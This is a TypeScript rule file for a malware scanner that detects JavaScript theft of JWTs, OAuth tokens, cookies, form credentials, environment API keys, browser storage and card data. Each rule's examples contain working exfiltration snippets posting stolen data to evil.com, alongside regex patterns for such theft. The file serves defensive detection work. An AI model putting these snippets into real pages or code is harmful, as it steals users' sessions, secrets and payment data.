/** * @fileoverview Data Exfiltration and Credential Theft Detection Rules * @module rules/malware/categories/exfiltration * * Comprehensive rules for detecting data theft including: * - Token stealers (JWT, OAuth, API keys) * - Cookie stealers * - Credential harvesters * - localStorage/sessionStorage theft * - Sensitive data exfiltration */ import { MalwareRule, MalwareThreatType, MalwareCategory, MalwareSeverity, ConfidenceLevel, SupportedLanguage, PatternType, MitreTactic } from '../types'; // ============================================================================ // TOKEN STEALER RULES // ============================================================================ export const tokenStealerRules: MalwareRule[] = [ { id: 'MAL-EXFIL-001', name: 'Token Stealer - JWT Exfiltration', description: 'Detects code that extracts and exfiltrates JWT tokens.', version: '2.0.0', threatType: MalwareThreatType.TOKEN_STEALER, category: MalwareCategory.SPYWARE, languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT], severity: MalwareSeverity.CRITICAL, confidence: ConfidenceLevel.HIGH, baseScore: 88, patterns: [ { type: PatternType.REGEX, patternId: 'jwt-extract-exfil', pattern: '(?:localStorage|sessionStorage)\\.getItem\\s*\\([^)]*(?:token|jwt|auth)[^)]*\\)[\\s\\S]*?(?:fetch|XMLHttpRequest|ajax|axios)', flags: 'gis', weight: 1.0, description: 'JWT extraction from storage with network call' }, { type: PatternType.REGEX, patternId: 'auth-header-exfil', pattern: 'Authorization[\'"]?\\s*:\\s*[\'"]?Bearer\\s+[\\s\\S]*?(?:fetch|post|send)', flags: 'gis', weight: 0.8, description: 'Authorization header exfiltration' }, { type: PatternType.REGEX, patternId: 'jwt-regex-capture', pattern: 'eyJ[A-Za-z0-9_-]+\\.eyJ[A-Za-z0-9_-]+\\.[A-Za-z0-9_-]+', flags: 'g', weight: 0.5, description: 'Hardcoded JWT pattern' } ], amplifyingPatterns: [ { type: PatternType.REGEX, patternId: 'external-endpoint', pattern: 'https?:\\/\\/(?!localhost|127\\.0\\.0\\.1)[a-z0-9.-]+', flags: 'gi', weight: 0.4, description: 'External endpoint' } ], maliciousExamples: [ { code: `const token = localStorage.getItem('jwt_token'); if (token) { fetch('https://evil.com/collect', { method: 'POST', body: JSON.stringify({ token, origin: location.origin }) }); }`, language: SupportedLanguage.JAVASCRIPT, isMalicious: true, description: 'JWT token theft and exfiltration' } ], impact: { technical: 'Steals authentication tokens enabling session hijacking.', business: 'Account takeover, unauthorized access to user data.', affectedAssets: ['User sessions', 'Authentication tokens'], dataAtRisk: ['User accounts', 'Session data', 'API access'] }, remediation: { summary: 'Remove token stealing code and rotate all affected tokens.', steps: [ 'Remove the malicious code', 'Invalidate all existing tokens', 'Implement token rotation', 'Add CSP to prevent data exfiltration', 'Consider using httpOnly cookies instead of localStorage' ] }, mitreAttack: [ { tacticId: MitreTactic.CREDENTIAL_ACCESS, tacticName: 'Credential Access', techniqueId: 'T1528', techniqueName: 'Steal Application Access Token', url: 'https://attack.mitre.org/techniques/T1528/' } ], tags: ['token-stealer', 'jwt', 'authentication', 'critical'], enabled: true }, { id: 'MAL-EXFIL-002', name: 'Token Stealer - OAuth Token Theft', description: 'Detects OAuth token extraction and exfiltration patterns.', version: '2.0.0', threatType: MalwareThreatType.TOKEN_STEALER, category: MalwareCategory.SPYWARE, languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT, SupportedLanguage.PYTHON], severity: MalwareSeverity.CRITICAL, confidence: ConfidenceLevel.HIGH, baseScore: 90, patterns: [ { type: PatternType.REGEX, patternId: 'oauth-token-exfil', pattern: '(?:access_token|refresh_token|oauth_token)[\\s\\S]*?(?:fetch|XMLHttpRequest|requests\\.post)', flags: 'gis', weight: 1.0, description: 'OAuth token exfiltration' }, { type: PatternType.REGEX, patternId: 'url-fragment-token', pattern: 'location\\.hash[\\s\\S]*?access_token[\\s\\S]*?(?:fetch|post|send)', flags: 'gis', weight: 1.0, description: 'URL fragment token extraction' }, { type: PatternType.REGEX, patternId: 'oauth-callback-intercept', pattern: '(?:oauth|callback|redirect)[\\s\\S]*?(?:code|token)\\s*=\\s*[^&\\s]+[\\s\\S]*?(?:fetch|http)', flags: 'gis', weight: 0.9, description: 'OAuth callback interception' } ], maliciousExamples: [ { code: `const hash = new URLSearchParams(location.hash.slice(1)); const accessToken = hash.get('access_token'); if (accessToken) { navigator.sendBeacon('/collect', JSON.stringify({ access_token: accessToken })); }`, language: SupportedLanguage.JAVASCRIPT, isMalicious: true, description: 'OAuth implicit flow token theft' } ], impact: { technical: 'Steals OAuth tokens from redirect flows.', business: 'Third-party account compromise and data access.', affectedAssets: ['OAuth tokens', 'Third-party integrations'], dataAtRisk: ['Connected accounts', 'API access'] }, remediation: { summary: 'Remove OAuth token theft code and revoke compromised tokens.', steps: [ 'Remove malicious token handling code', 'Revoke OAuth tokens through provider', 'Use PKCE for OAuth flows', 'Validate redirect URIs strictly' ] }, tags: ['token-stealer', 'oauth', 'critical'], enabled: true } ]; // ============================================================================ // COOKIE STEALER RULES // ============================================================================ export const cookieStealerRules: MalwareRule[] = [ { id: 'MAL-EXFIL-010', name: 'Cookie Stealer - Document.cookie Exfiltration', description: 'Detects exfiltration of cookies via document.cookie.', version: '2.0.0', threatType: MalwareThreatType.COOKIE_STEALER, category: MalwareCategory.SPYWARE, languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT], severity: MalwareSeverity.CRITICAL, confidence: ConfidenceLevel.CONFIRMED, baseScore: 92, patterns: [ { type: PatternType.REGEX, patternId: 'cookie-fetch', pattern: 'document\\.cookie[\\s\\S]*?(?:fetch|XMLHttpRequest|ajax|axios)', flags: 'gis', weight: 1.0, description: 'Cookie with fetch/XHR' }, { type: PatternType.REGEX, patternId: 'cookie-image', pattern: '(?:new\\s+Image\\s*\\(\\s*\\)|document\\.createElement\\s*\\([\'"]img[\'"]\\))[\\s\\S]*?\\.src\\s*=[\\s\\S]*?document\\.cookie', flags: 'gis', weight: 1.0, description: 'Cookie via image beacon' }, { type: PatternType.REGEX, patternId: 'cookie-beacon', pattern: 'navigator\\.sendBeacon\\s*\\([^)]*document\\.cookie', flags: 'gis', weight: 1.0, description: 'Cookie via sendBeacon' }, { type: PatternType.REGEX, patternId: 'cookie-websocket', pattern: 'WebSocket[\\s\\S]*?send\\s*\\([^)]*document\\.cookie', flags: 'gis', weight: 1.0, description: 'Cookie via WebSocket' }, { type: PatternType.REGEX, patternId: 'cookie-redirect', pattern: 'location(?:\\.href)?\\s*=\\s*[^;]*\\+\\s*document\\.cookie', flags: 'gis', weight: 1.0, description: 'Cookie via redirect' } ], maliciousExamples: [ { code: `new Image().src = "https://evil.com/steal?c=" + encodeURIComponent(document.cookie);`, language: SupportedLanguage.JAVASCRIPT, isMalicious: true, description: 'Classic cookie stealer via image' }, { code: `fetch('https://evil.com/log', { method: 'POST', body: JSON.stringify({ cookies: document.cookie, url: location.href }) });`, language: SupportedLanguage.JAVASCRIPT, isMalicious: true, description: 'Cookie exfiltration via fetch' } ], impact: { technical: 'Steals session cookies enabling session hijacking.', business: 'Account takeover without credentials.', affectedAssets: ['Session cookies', 'Authentication state'], dataAtRisk: ['User sessions', 'Authenticated access'] }, remediation: { summary: 'Remove cookie stealing code and implement cookie protections.', steps: [ 'Remove the malicious code', 'Set HttpOnly flag on sensitive cookies', 'Set Secure flag for HTTPS', 'Implement SameSite cookie attribute', 'Deploy Content Security Policy' ] }, mitreAttack: [ { tacticId: MitreTactic.CREDENTIAL_ACCESS, tacticName: 'Credential Access', techniqueId: 'T1539', techniqueName: 'Steal Web Session Cookie', url: 'https://attack.mitre.org/techniques/T1539/' } ], tags: ['cookie-stealer', 'session-hijacking', 'xss', 'critical'], enabled: true } ]; // ============================================================================ // CREDENTIAL HARVESTER RULES // ============================================================================ export const credentialHarvesterRules: MalwareRule[] = [ { id: 'MAL-EXFIL-020', name: 'Credential Harvester - Form Data Theft', description: 'Detects patterns for harvesting credentials from forms.', version: '2.0.0', threatType: MalwareThreatType.CREDENTIAL_STEALER, category: MalwareCategory.SPYWARE, languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT], severity: MalwareSeverity.CRITICAL, confidence: ConfidenceLevel.HIGH, baseScore: 90, patterns: [ { type: PatternType.REGEX, patternId: 'password-field-grab', pattern: 'querySelector\\s*\\([^)]*type\\s*=\\s*[\'"]password[\'"][^)]*\\)[\\s\\S]*?\\.value[\\s\\S]*?(?:fetch|XMLHttpRequest|post)', flags: 'gis', weight: 1.0, description: 'Password field value extraction' }, { type: PatternType.REGEX, patternId: 'input-values-collect', pattern: 'querySelectorAll\\s*\\([\'"]input[\'"]\\)[\\s\\S]*?value[\\s\\S]*?(?:fetch|XMLHttpRequest)', flags: 'gis', weight: 0.8, description: 'Mass input collection' }, { type: PatternType.REGEX, patternId: 'credentials-object', pattern: '\\{[^}]*(?:username|email|password|credential)[^}]*\\}[\\s\\S]*?(?:fetch|post|send)', flags: 'gis', weight: 0.7, description: 'Credentials object exfiltration' } ], maliciousExamples: [ { code: `const email = document.querySelector('input[type="email"]').value; const password = document.querySelector('input[type="password"]').value; fetch('https://evil.com/creds', { method: 'POST', body: JSON.stringify({ email, password, site: location.host }) });`, language: SupportedLanguage.JAVASCRIPT, isMalicious: true, description: 'Direct credential field extraction' } ], impact: { technical: 'Harvests credentials directly from login forms.', business: 'Direct credential theft leading to account compromise.', affectedAssets: ['User credentials', 'Login forms'], dataAtRisk: ['Usernames', 'Passwords', 'Email addresses'] }, remediation: { summary: 'Remove credential harvesting code and audit form handling.', steps: [ 'Remove malicious form handlers', 'Audit all form submit listeners', 'Implement CSP to prevent exfiltration', 'Consider virtual keyboards for sensitive input' ] }, tags: ['credential-theft', 'form-grabber', 'critical'], enabled: true }, { id: 'MAL-EXFIL-021', name: 'Credential Harvester - API Key Theft', description: 'Detects patterns for stealing API keys and secrets.', version: '2.0.0', threatType: MalwareThreatType.CREDENTIAL_STEALER, category: MalwareCategory.SPYWARE, languages: [ SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT, SupportedLanguage.PYTHON ], severity: MalwareSeverity.HIGH, confidence: ConfidenceLevel.HIGH, baseScore: 82, patterns: [ { type: PatternType.REGEX, patternId: 'api-key-exfil', pattern: '(?:api[-_]?key|api[-_]?secret|secret[-_]?key)\\s*[=:]\\s*[\'"][^\'"]+[\'"][\\s\\S]*?(?:fetch|requests|http)', flags: 'gis', weight: 0.9, description: 'API key with network call' }, { type: PatternType.REGEX, patternId: 'env-var-exfil', pattern: 'process\\.env\\.[A-Z_]+(?:KEY|SECRET|TOKEN)[\\s\\S]*?(?:fetch|request|http)', flags: 'gis', weight: 1.0, description: 'Environment variable key exfiltration' }, { type: PatternType.REGEX, patternId: 'config-secrets-exfil', pattern: '(?:config|settings|secrets)\\.[a-z]+(?:Key|Secret|Token)[\\s\\S]*?(?:post|send|fetch)', flags: 'gis', weight: 0.8, description: 'Config secrets exfiltration' } ], maliciousExamples: [ { code: `const secrets = { awsKey: process.env.AWS_ACCESS_KEY_ID, awsSecret: process.env.AWS_SECRET_ACCESS_KEY, stripeKey: process.env.STRIPE_SECRET_KEY }; fetch('https://evil.com/keys', { method: 'POST', body: JSON.stringify(secrets) });`, language: SupportedLanguage.JAVASCRIPT, isMalicious: true, description: 'Environment secrets exfiltration' } ], impact: { technical: 'Steals API keys providing access to external services.', business: 'Cloud service compromise, financial loss, data breach.', affectedAssets: ['API credentials', 'Cloud services'], dataAtRisk: ['Cloud resources', 'Third-party service access'] }, remediation: { summary: 'Remove API key theft code and rotate all exposed keys.', steps: [ 'Remove malicious code', 'Rotate all potentially exposed API keys', 'Audit environment variable access', 'Implement secrets management solution' ] }, tags: ['api-key', 'secrets', 'credential-theft', 'high'], enabled: true } ]; // ============================================================================ // STORAGE THEFT RULES // ============================================================================ export const storageTheftRules: MalwareRule[] = [ { id: 'MAL-EXFIL-030', name: 'Storage Theft - LocalStorage/SessionStorage Exfiltration', description: 'Detects bulk exfiltration of browser storage data.', version: '2.0.0', threatType: MalwareThreatType.DATA_EXFILTRATION, category: MalwareCategory.SPYWARE, languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT], severity: MalwareSeverity.HIGH, confidence: ConfidenceLevel.HIGH, baseScore: 78, patterns: [ { type: PatternType.REGEX, patternId: 'localstorage-dump', pattern: 'Object\\.(?:keys|entries)\\s*\\(\\s*localStorage\\s*\\)[\\s\\S]*?(?:fetch|XMLHttpRequest|post)', flags: 'gis', weight: 1.0, description: 'LocalStorage dump and exfil' }, { type: PatternType.REGEX, patternId: 'storage-iterate', pattern: 'for\\s*\\([^)]*localStorage[^)]*\\)[\\s\\S]*?(?:fetch|send|post)', flags: 'gis', weight: 0.9, description: 'LocalStorage iteration with exfil' }, { type: PatternType.REGEX, patternId: 'json-stringify-storage', pattern: 'JSON\\.stringify\\s*\\([^)]*(?:localStorage|sessionStorage)[^)]*\\)[\\s\\S]*?(?:fetch|XMLHttpRequest)', flags: 'gis', weight: 1.0, description: 'Storage serialization and exfil' } ], maliciousExamples: [ { code: `const storageData = {}; for (let i = 0; i < localStorage.length; i++) { const key = localStorage.key(i); storageData[key] = localStorage.getItem(key); } fetch('https://evil.com/storage', { method: 'POST', body: JSON.stringify(storageData) });`, language: SupportedLanguage.JAVASCRIPT, isMalicious: true, description: 'Complete localStorage exfiltration' } ], impact: { technical: 'Exfiltrates all browser storage data.', business: 'Theft of cached credentials, preferences, and application state.', affectedAssets: ['Browser storage', 'Cached data'], dataAtRisk: ['Tokens', 'User preferences', 'Application data'] }, remediation: { summary: 'Remove storage theft code and audit storage usage.', steps: [ 'Remove malicious code', 'Audit what data is stored in browser storage', 'Encrypt sensitive storage data', 'Implement CSP' ] }, tags: ['localstorage', 'exfiltration', 'data-theft', 'high'], enabled: true }, { id: 'MAL-EXFIL-031', name: 'Storage Theft - IndexedDB Exfiltration', description: 'Detects exfiltration of IndexedDB data.', version: '2.0.0', threatType: MalwareThreatType.DATA_EXFILTRATION, category: MalwareCategory.SPYWARE, languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT], severity: MalwareSeverity.HIGH, confidence: ConfidenceLevel.MEDIUM, baseScore: 72, patterns: [ { type: PatternType.REGEX, patternId: 'indexeddb-getall', pattern: 'objectStore\\s*\\([^)]+\\)\\.getAll\\s*\\([\\s\\S]*?\\)[\\s\\S]*?(?:fetch|XMLHttpRequest)', flags: 'gis', weight: 0.9, description: 'IndexedDB getAll with exfil' }, { type: PatternType.REGEX, patternId: 'indexeddb-cursor', pattern: 'openCursor[\\s\\S]*?onsuccess[\\s\\S]*?(?:fetch|post|send)', flags: 'gis', weight: 0.8, description: 'IndexedDB cursor iteration with exfil' } ], maliciousExamples: [ { code: `const request = indexedDB.open('userDB'); request.onsuccess = (e) => { const db = e.target.result; const tx = db.transaction('credentials', 'readonly'); tx.objectStore('credentials').getAll().onsuccess = (e) => { fetch('https://evil.com/db', { method: 'POST', body: JSON.stringify(e.target.result) }); }; };`, language: SupportedLanguage.JAVASCRIPT, isMalicious: true, description: 'IndexedDB credentials exfiltration' } ], impact: { technical: 'Exfiltrates IndexedDB data which may contain sensitive cached information.', business: 'Theft of offline-cached data and credentials.', affectedAssets: ['IndexedDB', 'Offline data'], dataAtRisk: ['Cached records', 'Offline credentials'] }, remediation: { summary: 'Remove IndexedDB theft code and encrypt sensitive stored data.', steps: [ 'Remove malicious code', 'Audit IndexedDB usage', 'Encrypt sensitive IndexedDB data' ] }, tags: ['indexeddb', 'exfiltration', 'data-theft', 'high'], enabled: true } ]; // ============================================================================ // SENSITIVE DATA EXFILTRATION RULES // ============================================================================ export const sensitiveDataRules: MalwareRule[] = [ { id: 'MAL-EXFIL-040', name: 'Sensitive Data - PII Exfiltration', description: 'Detects patterns that collect and exfiltrate personally identifiable information.', version: '2.0.0', threatType: MalwareThreatType.DATA_EXFILTRATION, category: MalwareCategory.SPYWARE, languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT, SupportedLanguage.PYTHON], severity: MalwareSeverity.CRITICAL, confidence: ConfidenceLevel.MEDIUM, baseScore: 80, patterns: [ { type: PatternType.REGEX, patternId: 'pii-collect', pattern: '(?:ssn|social[-_]?security|credit[-_]?card|passport|driver[-_]?license)[\\s\\S]*?(?:fetch|post|send|requests)', flags: 'gis', weight: 1.0, description: 'PII field collection with exfil' }, { type: PatternType.REGEX, patternId: 'cc-pattern-exfil', pattern: '\\d{4}[-\\s]?\\d{4}[-\\s]?\\d{4}[-\\s]?\\d{4}[\\s\\S]*?(?:fetch|XMLHttpRequest)', flags: 'gis', weight: 0.9, description: 'Credit card pattern with exfil' }, { type: PatternType.REGEX, patternId: 'financial-data', pattern: '(?:bank[-_]?account|routing[-_]?number|iban|swift)[\\s\\S]*?(?:post|send|fetch)', flags: 'gis', weight: 1.0, description: 'Financial data exfiltration' } ], maliciousExamples: [ { code: `const ccData = { number: document.getElementById('cc-number').value, cvv: document.getElementById('cvv').value, expiry: document.getElementById('expiry').value }; fetch('https://evil.com/cc', { method: 'POST', body: JSON.stringify(ccData) });`, language: SupportedLanguage.JAVASCRIPT, isMalicious: true, description: 'Credit card data exfiltration' } ], impact: { technical: 'Collects and exfiltrates sensitive personal and financial data.', business: 'PCI compliance violation, identity theft, financial fraud.', affectedAssets: ['Customer PII', 'Payment data'], dataAtRisk: ['Credit cards', 'SSN', 'Financial records'] }, remediation: { summary: 'Remove PII exfiltration code and implement data protection controls.', steps: [ 'Remove malicious code immediately', 'Notify affected users per compliance requirements', 'Implement tokenization for sensitive data', 'Add CSP and form protection' ] }, mitreAttack: [ { tacticId: MitreTactic.EXFILTRATION, tacticName: 'Exfiltration', techniqueId: 'T1041', techniqueName: 'Exfiltration Over C2 Channel', url: 'https://attack.mitre.org/techniques/T1041/' } ], tags: ['pii', 'credit-card', 'data-theft', 'compliance', 'critical'], enabled: true } ]; // ============================================================================ // EXPORT ALL EXFILTRATION RULES // ============================================================================ export const exfiltrationRules: MalwareRule[] = [ ...tokenStealerRules, ...cookieStealerRules, ...credentialHarvesterRules, ...storageTheftRules, ...sensitiveDataRules ]; export default exfiltrationRules;